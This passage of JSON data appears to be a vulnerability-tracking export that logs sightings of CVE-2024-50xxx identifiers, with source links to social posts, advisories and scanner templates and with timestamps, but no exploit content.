"type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113488382453791003", "content": "", "creation_timestamp": "2024-11-15T18:28:09.794528Z"}, {"uuid": "53e0234c-91e1-45a6-98b2-f817a980df08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50271", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507183887309387", "content": "", "creation_timestamp": "2024-11-19T02:09:36.598140Z"}, {"uuid": "bb63668e-104e-493e-b4e2-b6f902fb4812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50272", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507183901368115", "content": "", "creation_timestamp": "2024-11-19T02:09:36.838929Z"}, {"uuid": "e5911124-6b34-4ea0-9bae-069db7720ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50286", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507361056435522", "content": "", "creation_timestamp": "2024-11-19T02:54:39.959529Z"}, {"uuid": "e561567f-35e4-41c7-9e75-d881945d41c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50290", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113507420094878449", "content": "", "creation_timestamp": "2024-11-19T03:09:40.850667Z"}, {"uuid": "f6c29846-bbe0-4f14-a517-a4e31e1c98d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5030", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113502437564937679", "content": "", "creation_timestamp": "2024-11-18T06:02:33.531507Z"}, {"uuid": "13157c42-991e-4a90-accd-4cdf0d318a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5020", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113593694914451957", "content": "", "creation_timestamp": "2024-12-04T08:50:31.112706Z"}, {"uuid": "f8e82d84-1826-4679-be5c-5afc11e588bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50397", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113532426204507846", "content": "", "creation_timestamp": "2024-11-23T13:09:03.683462Z"}, {"uuid": "da373e39-d960-4592-8e63-1e81008cdfc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50948", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113590343864806339", "content": "", "creation_timestamp": "2024-12-03T18:38:17.049018Z"}, {"uuid": "47a5a514-e411-4015-bd13-dea44105da79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50677", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606761912707262", "content": "", "creation_timestamp": "2024-12-06T16:13:36.764281Z"}, {"uuid": "5ee62b6a-e1e9-4d58-873a-29946f107d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50388", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606852984337711", "content": "", "creation_timestamp": "2024-12-06T16:36:46.270181Z"}, {"uuid": "1d307f7b-02e2-4c3d-9114-e82e9a5e7f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606852969444783", "content": "", "creation_timestamp": "2024-12-06T16:36:45.982382Z"}, {"uuid": "4dce42ca-f6d9-4b5b-955b-0fbf00e1a151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50389", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606853001606040", "content": "", "creation_timestamp": "2024-12-06T16:36:46.507354Z"}, {"uuid": "5ca245c4-4de5-43e9-8865-161ee4cc7582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "", "content": "", "creation_timestamp": "2024-12-10T07:41:48.976489Z"}, {"uuid": "10622c36-ad94-47c3-90fb-fe62c8318636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50404", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113606912000053364", "content": "", "creation_timestamp": "2024-12-06T16:51:46.739485Z"}, {"uuid": "1a30c1f7-285e-4a7f-834e-be6595a243b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50672", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113545528628766748", "content": "", "creation_timestamp": "2024-11-25T20:41:10.777254Z"}, {"uuid": "4c7e15c8-a30e-4517-be31-cba4d87d97e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50942", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113551212940618179", "content": "", "creation_timestamp": "2024-11-26T20:46:46.510393Z"}, {"uuid": "d12eb2b2-88fd-4b31-b7f6-ee5c0d077f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50947", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596557507380569", "content": "", "creation_timestamp": "2024-12-04T20:58:29.681835Z"}, {"uuid": "348dbb04-4e1e-4167-9450-6336762abede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50395", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527344584354253", "content": "", "creation_timestamp": "2024-11-22T15:36:44.470168Z"}, {"uuid": "971d17fa-c504-40c4-b66a-92b70e928c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50395", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527330554255172", "content": "", "creation_timestamp": "2024-11-22T15:33:10.133830Z"}, {"uuid": "3f00ccbd-c23b-4f16-8b32-9cb8ac72d3c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50401", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527462658596716", "content": "", "creation_timestamp": "2024-11-22T16:06:46.126194Z"}, {"uuid": "0e46275b-c06f-4ef3-a545-06404e255b49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50396", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527403600455684", "content": "", "creation_timestamp": "2024-11-22T15:51:44.902635Z"}, {"uuid": "86d221be-6a46-4cf6-a368-75ce62a357ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50359", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548882978955681", "content": "", "creation_timestamp": "2024-11-26T10:54:14.494530Z"}, {"uuid": "ab991782-47d2-4434-a0d8-c908e6d43f2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50360", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548882992910023", "content": "", "creation_timestamp": "2024-11-26T10:54:14.598818Z"}, {"uuid": "b21150d5-c9b9-4871-9efa-ad44cabc9eb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50357", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113565483784508078", "content": "", "creation_timestamp": "2024-11-29T09:16:02.323343Z"}, {"uuid": "2463d4cb-1736-43af-806b-26c2a7ad9839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50397", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527403614765239", "content": "", "creation_timestamp": "2024-11-22T15:51:44.989997Z"}, {"uuid": "009e7737-dc1d-4430-98a7-1ca4030a3351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50358", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548882962910854", "content": "", "creation_timestamp": "2024-11-26T10:54:14.848969Z"}, {"uuid": "f0d3a522-7a42-49be-a03a-cc6a55e9d82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50398", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527403629240533", "content": "", "creation_timestamp": "2024-11-22T15:51:45.192146Z"}, {"uuid": "0ea14bc0-3497-4f34-aaf5-877c7454875c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50054", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07", "content": "", "creation_timestamp": "2024-11-21T11:00:00.000000Z"}, {"uuid": "3bc532a8-1fe4-4faf-88d4-93f49c12c269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50399", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527403643709437", "content": "", "creation_timestamp": "2024-11-22T15:51:45.441300Z"}, {"uuid": "5fc2e620-19bd-4690-921a-50036c713133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50400", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527462643899915", "content": "", "creation_timestamp": "2024-11-22T16:06:46.024408Z"}, {"uuid": "60863348-d05e-4139-a036-7891a4950fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50498.yaml", "content": "", "creation_timestamp": "2024-11-28T01:33:43.000000Z"}, {"uuid": "f3ae9e25-67e7-4a91-b4e4-9f1d92a6be09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50657", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113527874132502232", "content": "", "creation_timestamp": "2024-11-22T17:51:24.713597Z"}, {"uuid": "337b5393-9403-42d2-ae89-f074e1ce3f97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50625", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624985721757234", "content": "", "creation_timestamp": "2024-12-09T21:28:09.974852Z"}, {"uuid": "0cfb3284-5900-40c4-9921-de909f3ff6c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50626", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624985735998812", "content": "", "creation_timestamp": "2024-12-09T21:28:10.548955Z"}, {"uuid": "f877df02-adfa-4cc5-a4cc-fec151b0313a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50627", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624985770900399", "content": "", "creation_timestamp": "2024-12-09T21:28:10.742238Z"}, {"uuid": "62c15f1a-04c6-49f4-8bdb-36d4187cb427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50628", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624985784535663", "content": "", "creation_timestamp": "2024-12-09T21:28:11.056544Z"}, {"uuid": "f841ae0c-990b-4ea4-b670-024c02bce516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113626496423360521", "content": "", "creation_timestamp": "2024-12-10T03:52:21.611050Z"}, {"uuid": "db57375e-4850-47ba-bbcc-8dae72677ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113626518565411039", "content": "", "creation_timestamp": "2024-12-10T03:57:59.345805Z"}, {"uuid": "c537a3ac-bffc-49a2-9b1a-2f10418a1ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50393", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/113627360457166136", "content": "", "creation_timestamp": "2024-12-10T07:32:05.280462Z"}, {"uuid": "76dae684-6c51-4fde-9c2b-ab41cd33e5fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/113627470197820215", "content": "", "creation_timestamp": "2024-12-10T08:00:00.471508Z"}, {"uuid": "b81a4a0c-ad84-4d6f-b0ba-aa7d02ae1eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/zeljkazorz/statuses/113628804964200905", "content": "", "creation_timestamp": "2024-12-10T13:39:26.826273Z"}, {"uuid": "969cb542-edee-434e-8f29-366f8a759b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113628939590837277", "content": "", "creation_timestamp": "2024-12-10T14:13:41.125914Z"}, {"uuid": "e6223d34-f195-4fda-8b55-68a45cf7b8a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113628944616878792", "content": "", "creation_timestamp": "2024-12-10T14:15:11.826067Z"}, {"uuid": "c9883a27-148a-47b5-8a4c-41e64022a34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "MISP/5ac29be4-309c-436f-84ff-49dd4f98e940", "content": "", "creation_timestamp": "2024-12-10T14:29:21.000000Z"}, {"uuid": "0121785f-2174-4c0c-a4ce-b81ea33bfb0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50570", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113675676122890458", "content": "", "creation_timestamp": "2024-12-18T20:19:24.191385Z"}, {"uuid": "a6528e59-481d-45cd-9157-d86f93ba4db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50285", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1726/", "content": "", "creation_timestamp": "2024-12-20T05:00:00.000000Z"}, {"uuid": "2b4406ef-895f-40d9-bb52-08731be62a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/zeljkazorz/statuses/113630600585606170", "content": "", "creation_timestamp": "2024-12-10T21:16:06.138566Z"}, {"uuid": "f800c8c1-690c-442b-b223-109be5dab295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50393", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113634460631340093", "content": "", "creation_timestamp": "2024-12-11T13:37:45.477156Z"}, {"uuid": "c00ba4dc-e0a7-467d-9ac2-9319715fdda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50585", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113634801363389378", "content": "", "creation_timestamp": "2024-12-11T15:04:24.629925Z"}, {"uuid": "250105b0-888a-40ab-ac63-5fe2baa7df7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635158920284907", "content": "", "creation_timestamp": "2024-12-11T16:35:20.796486Z"}, {"uuid": "e6455431-d0a8-41bb-acd6-4c7de253c0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50336", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635355747091624", "content": "", "creation_timestamp": "2024-12-11T17:25:42.087735Z"}, {"uuid": "89bef5bb-393a-4467-a771-74648818a587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50339", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635458929398685", "content": "", "creation_timestamp": "2024-12-11T17:51:38.252442Z"}, {"uuid": "36e89acb-25c6-41ff-bba3-52736fc7f3f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113635625687064538", "content": "", "creation_timestamp": "2024-12-11T18:34:15.148338Z"}, {"uuid": "5795f0da-0219-4cfc-9a33-9f4be41e2d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113637401438319624", "content": "", "creation_timestamp": "2024-12-12T02:05:39.024639Z"}, {"uuid": "5e005203-dfb3-4b94-ad5e-0ab2a512d6f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113639507416406925", "content": "", "creation_timestamp": "2024-12-12T11:01:14.662178Z"}, {"uuid": "7bc4cbc1-9ee7-45a4-9590-3699597127b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113640145047883982", "content": "", "creation_timestamp": "2024-12-12T13:43:23.086449Z"}, {"uuid": "1d655007-bece-43f0-b0ef-c5c69b37c777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/113640692390757136", "content": "", "creation_timestamp": "2024-12-12T16:02:36.223297Z"}, {"uuid": "55c9460c-e79f-4395-af97-56222fddabb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50623.yaml", "content": "", "creation_timestamp": "2024-12-11T16:43:28.000000Z"}, {"uuid": "ebd5a073-52d0-4f7e-beaf-8ffb36bbad85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113641313861328732", "content": "", "creation_timestamp": "2024-12-12T18:40:37.539558Z"}, {"uuid": "4083381f-ae9d-4b26-9eb0-37fbeddccea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113643354146992952", "content": "", "creation_timestamp": "2024-12-13T03:19:30.249020Z"}, {"uuid": "990aba38-b99b-4faa-b7fd-42f3695d843f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113646529955861922", "content": "", "creation_timestamp": "2024-12-13T16:47:09.038887Z"}, {"uuid": "e21a09a0-9419-4a29-97cc-acd9aa83a08e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113647075503928614", "content": "", "creation_timestamp": "2024-12-13T19:05:53.641414Z"}, {"uuid": "cfa711a3-2667-453e-bf6c-d17ebdad3d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-12-13T21:10:02.000000Z"}, {"uuid": "ff5a7b3d-2dc9-496b-8a73-88507cadd59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2894511", "content": "", "creation_timestamp": "2024-12-13T21:29:04.593729Z"}, {"uuid": "c425a222-09f3-4a2b-9ae2-9138e826ad6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113656290741715294", "content": "", "creation_timestamp": "2024-12-15T10:09:26.599987Z"}, {"uuid": "ccb44029-d1e9-4cfe-b0db-cf8acaae51b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113656947909919073", "content": "", "creation_timestamp": "2024-12-15T12:56:35.984098Z"}, {"uuid": "8a2a3267-69e6-4cb6-9b9e-da15ba1a0a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113662633470258921", "content": "", "creation_timestamp": "2024-12-16T13:02:28.934197Z"}, {"uuid": "dca9cf2f-313f-4ba6-98e9-180026680ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685883850360893", "content": "", "creation_timestamp": "2024-12-20T15:35:21.591878Z"}, {"uuid": "af303cbc-57ab-426a-bdc6-dda64ad7984a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50570", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673904061166339", "content": "", "creation_timestamp": "2024-12-18T12:48:44.766612Z"}, {"uuid": "e15068c7-eac6-40a9-a0aa-64b109229e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ldp7etjohw2w", "content": "", "creation_timestamp": "2024-12-20T01:12:03.467054Z"}, {"uuid": "1d315889-c671-43b2-b502-7d6df7d2b1f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ldqsi62and25", "content": "", "creation_timestamp": "2024-12-20T16:26:35.753102Z"}, {"uuid": "2c9806aa-b408-441f-a549-5d8e1c4bfb9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668199636879118", "content": "", "creation_timestamp": "2024-12-17T12:38:01.836867Z"}, {"uuid": "50aca213-f5b4-48b3-8c03-0c4277ce6974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680586153598714", "content": "", "creation_timestamp": "2024-12-19T17:08:05.227273Z"}, {"uuid": "71c53d60-7872-4c8d-8b53-3d66c0d4fa36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50623", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3ldxorp5cwf2w", "content": "", "creation_timestamp": "2024-12-23T10:08:59.294637Z"}, {"uuid": "0be4c6ab-bf6f-47cf-ba69-62bc912d109d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://thehackernews.com/2024/12/apache-tomcat-vulnerability-cve-2024.html", "content": "", "creation_timestamp": "2024-12-24T05:06:00.000000Z"}, {"uuid": "1f9b421d-2539-4e41-9b75-1634f700a366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113708106021039311", "content": "", "creation_timestamp": 